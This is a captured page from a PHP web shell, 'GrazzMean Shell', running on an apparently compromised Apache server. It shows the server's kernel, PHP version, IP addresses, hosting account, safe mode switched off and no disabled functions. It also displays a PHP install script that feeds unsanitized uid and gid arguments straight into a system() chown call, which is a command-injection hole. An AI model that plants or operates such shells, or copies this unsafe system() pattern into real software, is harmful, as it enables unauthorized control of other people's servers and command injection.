shell bypass 403

GrazzMean Shell

Uname: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
Software: Apache
PHP version: 5.6.40 [ PHP INFO ] PHP os: Linux
Server Ip: 217.160.0.194
Your Ip: 216.73.217.139
User: u72294154 (9179942) | Group: ftpusers (600)
Safe Mode: OFF
Disable Function:
NONE

name : pre-configure.php
<?php
if(count($argv) != 3)
{
    print "Usage: pre-configure.php uid gid\n";
    exit(1);
}

$uid = $argv[1];
$gid = $argv[2];

$my_web_dir = getenv("WEB___DIR");

while($my_web_dir[strlen($my_web_dir) - 1] == "/")
{
    $my_web_dir = substr($my_web_dir, 0, strlen($my_web_dir) - 1);
}

if(file_exists($my_web_dir."/configuration.php"))
{
    system("chown $uid:$gid ".$my_web_dir."/configuration.php");
}
© 2026 GrazzMean